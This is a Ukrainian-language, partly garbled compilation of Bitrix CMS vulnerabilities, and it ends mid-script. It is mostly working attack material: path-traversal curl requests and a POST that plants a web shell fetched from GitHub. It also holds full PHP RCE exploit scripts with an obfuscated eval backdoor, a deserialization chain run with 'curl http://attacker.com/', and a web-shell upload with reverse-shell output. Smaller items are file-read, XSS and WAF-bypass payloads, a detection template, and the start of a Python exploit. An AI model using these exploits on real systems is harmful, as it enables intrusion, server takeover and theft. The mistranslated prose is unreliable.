У другій частині зібрано найбільш ризикові й практично значущі вразливості Bitrix. Розділ пояснює природу RCE-класу атак, показує типові місця появи критичних помилок та демонструє логіку розвитку експлойтів у реальних сценаріях. Матеріал охоплює аналіз відомих CVE, методи обходу захисних механізмів, ризики, пов’язані з Bitrix24, та слабкі модулі, які часто створюють додаткові точки входу.
Маршрут /bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.phpіноді ведеться до персонального робочого столу. У ньому можна додавати свої нотатки, посилання та ін.
Розкриваємо віджет.
Вставляємо потрібну адресу в «Посилання на RSS-стрічку».
Натискаємо «ОК» та чекаємо відстуків на співавтора.
Можем читати містяться внутрішні файли сервера, але, як правило, тільки в рамках директорії з установленим бітриксом. /бітрікс/*
/.htaccess/randombullchitgo/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////x/..
/.htaccess/randombullchitgo/../../../""""""""""""""""""""""""""""""/../bitrix/""""""""""""""""""""""""""""""/../virtual_file_system.php/""""""""""""""""""""""""""""""/../x/..
Посвідчення особи:
curl --path-as-is 'https://TARGET/.htaccess/«/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////»/%2E%2E'
або
curl -i -s -k -X $'GET' \
-H $'Host: https://TARGET' -H $'User-Agent: huitrix/1.11.1' -H $'Accept: */*' \
$'https://TARGET/.htaccess/%c2%ab/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////%c2%bb/%2E%2E'
Уяву полягає в некоректній обробці даних користувача в запиті POST. Демоверсія «1С Бітрікс Управління сайтом» була взята з офіційного сайту. Версія на малюнку 1. Версія основного модуля – 21.400.100.
Опис атак.
Отримати параметр sessid і cookie PHPSESSID. Це можна зробити через адміна. панель по адресу /bitrix/admin.
Виповнити POST запит з малюнком нижче.
POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: <>
Content-Length: 944
Cache-Control: max-age=0
Cookie: PHPSESSID=<>
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
file_put_contents("<путь до корневой директории сервера>/shell.php", fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="image.jpg"
Content-Type: image/jpeg
123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
<>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
Відкрийте список агентів і зафіксуйте корисну завантаження під ID 2
Виконайте POST-запит, змінивши параметр NAME на параметр NEXT_EXEC і потрібну завантаження на дату та час, встановлені на сервері з операцією за одну хвилину
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]"
<Дата и время>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]";filename="image.jpg"
Content-Type: image/jpeg
123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
ee8dbbe0d21ce5fbb66ee1047c666f6c
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
Закріпити файл shell.php для файлу в корневій директорії сервера
Перейти за адресою /shell.php для підтвердження доступу до нього
Умови експлуатації:
Існує хоча один агент на сервері.
Відомі дані/час, встановлені на сервері, у тому числі та часовий пояс.
Доступ до файлу uf.php
Усі поля агента можливо змінити, що робить можливим його повну модифікацію для виконання атак
Експлуатація цієї вразливості призводить до виконання довільного коду PHP, з чого можливо побудувати подальший вектор атаки на сервер, ввести до виконання коду командної оболонки ОС, наприклад, через функцію system()
Уязвимість експлуатується за рахунок Arbitrary Object Instantiation з використанням публікації «Візвості та атаки на CMS Bitrix» за адресою https://t.me/webpwn . Із-за хешування значення першого аргументу в цій атаці немає можливості передати свій аргумент напряму в метод CControllerClient::RunCommand($command, $oRequest, $oResponse). Тому був обраний шлях експлуатації через агенти Бітрікс.
Агент – періодична задача, в якій указаний метод для виконання з інтервалом часу. За допомогою методу CAllAgent::Update($ID, $arFields)можна відновити існуючий запис про агента. Перший аргумент даного методу – ID у таблиці існуючих агентів з БД і він є цілим числом. Виникає проблема: переклад строки дайджесту MD5 в ціле число. Вона вирішена самим вихідним кодом Бітрікс
Дана операція робить абсолютно просту річ – переводить один тип даних в ціле число, в тому числі і строку. Функція intval() зі строковим типом даних переводить у число, записуючи перші десятеричні символи рядків у число, а зустрічаючий недесятиричний символ – перекриває запис у число.
Символ «e» інтерпретується як експонента, тому останній рядок переведено в число «100». Отже, якщо підібрати такий рядок, який MD5 хеш буде починатися з числа, то цей хеш буде переведено в число. Це число – ID у таблиці, який дозволить змінити параметри агента.
Запис про агента складається з наступних даних:
Назва методу, що викликається, знаходиться в полі NAME у форматі Class::Method($args). Активний метод має символ «Y» у полі ACTIVE. MODULE_ID – назва модуля, в якому знаходиться метод. Цікавий метод знаходиться в модулі main. Час наступного запуску – NEXT_EXEC у форматі«DD.MM.YYYY HH:MM:SS»
Тому потрібно виконати наступне:
Підібрати потрібний хеш MD5, який матиме маленьке число на початку строки хеша. Наприклад,
md5(‘bitrix50’) = ‘2cff0d1f456cf0ac11a6d49e5cce8f3b’, що даст число 2. Ці рядки можливо буде перебрати, так як не буде правильно угадан ідентифікаційний запис агента.
Узнати дату і час, встановлені на сервері. Це можна зробити за допомогою phpinfo() або сам сервер у заголовках повідомляє їх.
Змінити ІМ’Я на корисну нагрузку
CControllerClient::RunCommand('','','');
З допомогою запитів з PoC змінити дату, час, модуль і активність на необхідні.
При досягненні встановленого часу – зайдіть на будь-яку сторінку, таким чином агент буде виконаний.
RCE експлойт на Бітрікс <= 21.400.100 Стандарт <= Бізнес | CRM (будь-який користувач)
php vote_agent.php https://target.com/
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# update the agent
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
str_repeat(' ', 1234),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
'',
'main',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
'',
furl(agent($id)),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));
message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');
do {
$code = trim(readline('php > '));
readline_add_history($code);
if($code != 'EXIT')
message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
else
break;
} while(1);
# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
[ 'timeout' => 10,
'method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function agent($id = 1){
return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
'.payload().'
return true;')).'\')));');
}
function payload(){
return '
if(isset($_REQUEST["bitrixxx"])){
$DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
try{
$e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
}
catch (Exception $e){
exit;
}
}
else{
$r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
if(isset($_REQUEST["restorexxx"])){
$DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
$eval_result = $r;
}
else
eval($r);
}';
}
function index($id){
return 'dd';
}
function furl($str){
return '%'.implode('%', str_split(bin2hex($str), 2));
}
function j(){
$l = rand(10, 50);
while(!isset($c[$l])) @$c .= chr(rand(32, 126));
if(rand(0, 1))
return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
else
return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}
function xsleep($t){
$s = 0;
do{
print '-';
sleep(1);
$s++;
} while($s < $t);
print PHP_EOL;
}
function t($s){
foreach(token_get_all('<?php '.$s) as $t)
@$r .= (is_array($t) ? $t[1] : $t).j();
return j().substr($r, 5);
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
RCE експлойт на Бітрікс <= 20.100.0
php html_editor_action.php "https://target-bitrix.com" "system" "curl http://attacker-host.com/"
<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]
(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# upload default
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
'',
'default',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
payload($func, $farg),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[CID]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="action"',
'',
'uploadfile',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');
# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
['method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function payload($func, $farg){
return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>
Вразливість посадки модуля системи управління вмістом сайтів (CMS) 1С-Бітрікс: Управління сайтом викликано помилками синхронізації при використанні загального ресурсу. Експлуатація вразливості може дозволити порушнику, діючому видаленню, виконати команди ОС на вразливому вузлі, отримати контроль над ресурсами та проникнути у внутрішній сіті.
Також можна перевірити сайт на наявність уразливості цим шаблоном ядер.
id: bitrix-landing-rce
info:
name: Bitrix Landing module RCE version based detection
author: JhonnyBonny
severity: Critical
description: A vulnerability in the landing module of the 1C-Bitrix Site Management content management system (CMS) is caused by synchronization errors when using a shared resource. Exploitation of the vulnerability can allow a remote attacker to execute OS commands on the vulnerable host, gain control over resources or gain access to internal network.
reference:
- https://bdu.fstec.ru/vul/2023-05857
- https://www.bitrix24.com/features/box/box-versions.php?module=landing
tags: bitrix,rce
metadata:
max-request: 3
http:
- method: GET
path:
- "{{BaseURL}}/bitrix/components/bitrix/landing.sites/templates/.default/style.css"
- "{{BaseURL}}/components/bitrix/landing.sites/templates/.default/style.css"
- "{{BaseURL}}/bx/components/bitrix/landing.sites/templates/.default/style.css"
host-redirects: true
stop-at-first-match: true
max-redirects: 3
matchers-condition: or
matchers:
- type: dsl
name: "landing (23.700.100) June 14, 2023"
dsl:
- "status_code==200 && (\"add1ed2596798ec254ba13abff931547\" == md5(body))"
- type: dsl
name: "landing (22.200.0) August 8, 2022"
dsl:
- "status_code==200 && (\"9fbebe45f8d33fa108dfb947d0fb4656\" == md5(body))"
- type: dsl
name: "landing (22.100.0) July 5, 2022"
dsl:
- "status_code==200 && (\"b319495dd5f16817406386b5dc63c146\" == md5(body))"
- type: dsl
name: "landing (22.0.0) April 18, 2022"
dsl:
- "status_code==200 && (\"e64a234d4771590d79e1809f66fc7043\" == md5(body))"
- type: dsl
name: "landing (21.900.0) November 12, 2021"
dsl:
- "status_code==200 && (\"c49de48decdf1fd2acaf7853925183be\" == md5(body))"
- type: dsl
name: "landing (21.700.0) September 7, 2021"
dsl:
- "status_code==200 && (\"0c4c0547c37ad53cbb1eda4ddbf15e33\" == md5(body))"
- type: dsl
name: "landing (21.500.0) July 16, 2021"
dsl:
- "status_code==200 && (\"c2adce7a16e8572f9a5728288a2fac81\" == md5(body))"
- type: dsl
name: "landing (21.200.0) April 21, 2021"
dsl:
- "status_code==200 && (\"a871c4967c7c937597890d7b5c3d960a\" == md5(body))"
- type: dsl
name: "landing (20.4.500) September 15, 2020"
dsl:
- "status_code==200 && (\"9dc7150c6bd61d298d147b7ea67e8a8b\" == md5(body))"
- type: dsl
name: "landing (20.4.0) July 10, 2020"
dsl:
- "status_code==200 && (\"b3ec699b40523a8412a0d56ed76f43bc\" == md5(body))"
- type: dsl
name: "landing (20.2.100) February 27, 2020"
dsl:
- "status_code==200 && (\"c8c32f0232ac2a4bb46856f12a6a4b09\" == md5(body))"
- type: dsl
name: "landing (20.2.0) January 20, 2020"
dsl:
- "status_code==200 && (\"5a530921bbc5d6923d20b75c4ba99b4d\" == md5(body))"
- type: dsl
name: "landing (20.0.0) November 26, 2019"
dsl:
- "status_code==200 && (\"ef14e227a8f17a3c1a76ce4290dcd9c6\" == md5(body))"
- type: dsl
name: "landing (19.0.200) August 22, 2019"
dsl:
- "status_code==200 && (\"0fa4366725041880aca1a79d451806f4\" == md5(body))"
- type: dsl
name: "landing (19.0.0) August 2, 2019"
dsl:
- "status_code==200 && (\"dfa4536c8b721d8c67065a9fd60c05ed\" == md5(body))"
- type: dsl
name: "landing (18.5.8) October 18, 2018"
dsl:
- "status_code==200 && (\"8f20968cc2e35bedf95777bcc6c39987\" == md5(body))"
Хоть цей CVE на самому елементі не CVE, т. к. має статус Відхилено, все рівно вирішили його додати, тому що це все ще зустрічається на сайті:
https://en.fofa.info/result?qbase64=Vk1CaXRyaXg%3D
«1С-Бітрікс: Віртуальна машина» — віртуальний сервер, налаштований для швидкого виконання програмних продуктів «1С-Бітрікс». Уязвимость дозволяє внести шкідливий PHP-скрипт в корневу директорію веб-сайту через форму «Завантаження резервної копії» на веб-сторінці початкових налаштувань CMS «1С-Бітрікс».
На веб-сторінці початкових налаштувань CMS «1С-Бітрікс» необхідно перейти за посиланням «Восстановить копію»:
Внедрення тестового шкідливого PHP-скрипту (веб-шелл) через розділ «Завантаження з локального диска» на веб-сторінці «Завантаження резервної копії». Завантаження була завершена з помилкою.
Перевірка успішного впровадження вредоносного PHP-скрипту:
Таким чином, корисний PHP-скрипт був успішно впроваджений в корневу директорію веб-сайту.
# Exploit Title: Unauthenticated Remote Code Execution in Bitrix v7.5.0 and earlier versions
# Remote Code Execution in Bitrix v7.5.0 and earlier versions allows remote attackers to execute arbitrary code via uploading a php web shell. Bitrix v7.5.0 and earlier allows any user to execute arbitrary code by uploading an executable file at the time of restoring from the backup without any prior authentication required.
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718
# Date: 15th April'22
# CVE ID:
# Confirmed on release 7.5.0
# Vendor: https://www.bitrix24.com/self-hosted/installation.php
###############################################
#Step1- http://192.168.56.140/restore.php?lang=en
#Step2- Click on Continue=>Upload from local disk=>Upload the shell.php=>Skip the errors=>Click on BACK
#Step3- Now the shell.php has been uploaded on the server so execute the shell Goto http://192.168.56.140/shell.php
Visit http://IP_ADDR/shell.php and get the reverse shell:
listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.140] 48220
Linux localhost.localdomain 3.10.0-1160.21.1.el7.x86_64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:37:57 up 1:32, 1 user, load average: 0.00, 0.05, 0.37
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 06:29 45.00s 0.11s 0.11s -bash
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh: no job control in this shell
sh-4.2$ whoami
whoami
bitrix
sh-4.2$ id
id
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh-4.2$ hostname
hostname
localhost.localdomain
sh-4.2$
Іноді на хостах може потрапити скрипт bitrixsetup.php . Його звичайно настійно рекомендують видалити після установки.
Якщо в параметрі ім’я файлу помістити довільну строку, щоб виявити, що помилка відображається на сторінці без будь-якого екранування, що дозволяє нам використовувати XSS вразливість:
/bitrixsetup.php?action=UNPACK&by_step=Y&filename=en_bitrix24_encode.tar.gz&lang=en&xz=19279
Після чтення коду можна переконатися, що вхід користувача не обробляється, а $_REQUEST["filename"]передається об’єкт $oArchiver, відповідальний для розархівування цього файлу. Незважаючи на наявність архіватора, закрадується думка про наявність LFR.
Даний LFR, на жаль, можна прочитати тільки перші 10 рядків файлу. Але для чтения умовного /bitrix/php_interface/dbconn.phpцього цілком достатньо.
/bitrixsetup.php?action=UNPACK&filename=../../../../etc/passwd
У силу того, що частина файлу за вказаним шляхом обчислюється скриптом як заголовок архіву, ми можемо прочитати його в повідомленні про помилку. Крім того, виявилося, що за допомогою параметра пошуку можна посимвольно зрушити строку читаного файлу:
Буває, що при проведенні XSS отражённого типу параметри потрапляють прямо в тело цього скрипта . Зазвичай це означає, що експлуатація тривіальна: не помішує кодування скобок, не помішує багато фаєрволів, в тому числі не порушив Chrome XSS Auditor. Але в CMS Bitrix у цьому випадку є вбудований проактивний фільтр (WAF), принцип роботи якого захищений від XSS, аналогічний XSS Auditor.
При фаззинге сервісу Mail.ru в рамках Bug Bounty зібрався з такою точкою входу, параметр GET потрапив у тело тега <script>…</script>. Але зробити простий PoC не вдалося, оскільки додаток було побудовано з використанням Bitrix, і був активований модуль WAF.
Любі спроби вставити який-небудь цікавий код заканчивались заміненою всього скрипта на заглушку _<!— deleted by Bitrix WAF —>_.
Оказалось, що для нейтралізації цього захисту достатньо передати в уразливий параметр null byte (%00).
Для демонстрації розгортаємо тестове додаток на CMS Bitrix з активованим модулем WAF і додаємо наступний код на одну зі сторінок (/waf-bypass.php):
Якщо в уразливий параметр сторінки передати кавычку (закриваючу строку) і викликати сповіщення (як і будь-яку іншу функцію), то WAF вирізає весь скрипт:
У ході фаззинга з’ясувалося, що об’єднати захист дуже просто — до закриваючої кавички вводимо нульовий байт ( %00 ) і код WAF вже пропускається:
Ітого, отримуємо повноцінний вектор експлуатації
Ошибка міститься в модулі постфільтрації для захисту від XSS. Модуль працює аналогічно XSS Auditor і намагається знайти в тілі сторінки теги скрипта з активним вмістом, який було передано в параметрах користувача.
При цьому по якій-то причині з параметрів параметрів вирізається нулевий байт, так що в нашому випадку при зрівнянні сторінки тіла з параметрами не буде виявлено вхідних (ведь в теле є \x00, а в параметрах немає).
Уявна строка у файлі ./bitrix/modules/security/classes/general.post_filter.phpабо post_filter.php, де в методі addVariable відбувається вирізання нулевого байту chr(0):
Сам пошук користувальницьких даних у телескрипті відбувається у функціях isDangerBody, і тут у функціоналі findInArray передаються параметри нетронутого значення $bodyта масиву, з якого вирізано нулевий байт:
Згадайте, що WAF майже завжди піддаються обходу.
Конкретно в цьому випадку для виправлення помилок у самому WAF можна вибрати виклик str_replace із функцій addVariable. При цьому в кожному випадку варто додати перевірку на наявність нульового байта в вмісті (не зря розробники Bitrix, коли додали виклик цього str_replace).
sudo /opt/webdir/bin/wrapper_ansible_conf
sudo /opt/webdir/bin/wrapper_ansible_conf -a bx_passwd --user admin --ho
Детальніше тут
/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.cookie)%20src=1%3E
Недостатньо захищені облікові дані в налаштуваннях AD/LDAP-сервера в модулі AD/LDAP-конектора «1С-Бітрікс Бітрікс24» до версії 23.100.0 дозволено видаленим адміністраторам дізнатися адміністративний пароль AD/LDAP, прочитавши вихідний код файлу /bitrix/admin/ldap_server_edit.php.
Шаги експлуатації:
Получіть доступ до адміністративної панелі Бітрікс24.
Перейдіть до пункту «Налаштування AD/LDAP» у розділі «Адміністрування».
Введіть налаштування AD/LDAP-сервера зі списку серверів.
Перейдіть на вкладку Сервер.
Переконайтеся, що пароль користувача з правами на чтенні дерева серверів AD/LDAP замаскований у рядку «Пароль».
За допомогою інструментів розробника браузера відкрийте вихідний код сторінки bitrix/admin/ldap_server_edit.php.
Переконайтеся, що пароль користувача з правами на чтення дерева AD/LDAP-сервера відображається у вихідному коді відкритим текстом
https://github.com/secware-ru/CVE-2022-43959CVE-2022-43959.pdf
# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-1713)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess
import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000
PROXY = None
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=f"[{k}]")
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def start_server():
class MyHandler(http.server.BaseHTTPRequestHandler):
htaccess = open("./.htaccess", "rb").read()
def do_GET(self):
path = urlparse(self.path).path
self.send_response(200)
self.end_headers()
# Request .htaccess
if ".htaccess" in path:
self.wfile.write(self.htaccess)
self.wfile.flush()
return
# Delay
print("[+] Delaying return by", DELAY_SECONDS, "seconds")
# send the body of the response
for i in range(DELAY_SECONDS):
self.wfile.write(b"A\n")
self.wfile.flush()
time.sleep(1)
# Shutdown server when done
self.server.shutdown()
def log_message(self, format: str, *args: typing.Any) -> None:
# Silence logging
pass
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)
def forever():
with httpd:
httpd.serve_forever()
thread = threading.Thread(target=forever, daemon=True)
thread.start()
print("[+] Started HTTP server on", LPORT1)
return httpd
def instagram_import(session, sessid):
session.post(
HOST
+ "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
